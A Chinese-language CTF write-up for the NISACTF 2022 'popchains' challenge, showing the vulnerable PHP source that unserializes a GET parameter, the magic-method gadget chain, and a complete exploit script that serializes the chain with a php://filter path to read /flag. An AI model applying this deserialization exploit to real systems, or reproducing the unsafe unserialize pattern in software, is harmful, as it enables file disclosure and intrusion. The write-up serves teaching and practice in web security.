NSS [NISACTF 2022]popchains

NSS [NISACTF 2022]popchains

先看看题目，源码如下。

<?php
echo 'Happy New Year~ MAKE A WISH<br>';

if(isset($_GET['wish'])){
    @unserialize($_GET['wish']);        //@为了不报错
}
else{
    $a=new Road_is_Long;
    highlight_file(__FILE__);
}

class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        $this->page = $file;
    }
    public function __toString(){
        return $this->string->page;
    }

    public function __wakeup(){
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}

class Try_Work_Hard{
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();
    }

    public function __get($key){
        $function = $this->effort;
        return $function();
    }
}

服务器反序列化Road_is_Long—>Road_is_Long::wakeup()—>Road_is_Long::toString()–>Make_a_Change::get()—>Try_Work_Hard::invoke()—>Try_Work_Hard::append()

exp:
<?php
class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        $this->page = $file;
    }
    public function __toString(){
        return $this->string->page;
    }

    public function __wakeup(){
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}

class Try_Work_Hard{
    protected  $var="php://filter/read=convert.base64-encode/resource=/flag";  //protected不能从外面赋值
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();
    }

    public function __get($key){
        $function = $this->effort;
        return $function();
    }
}



$road1 = new Road_is_Long();   
$road2 = new Road_is_Long();   
$try = new Try_Work_Hard();
$make = new Make_a_Change();
 
$road1->page = $road2;
$road2->string=$make;
$make->effort=$try;


$jay17 = serialize($road1);
echo urlencode($jay17);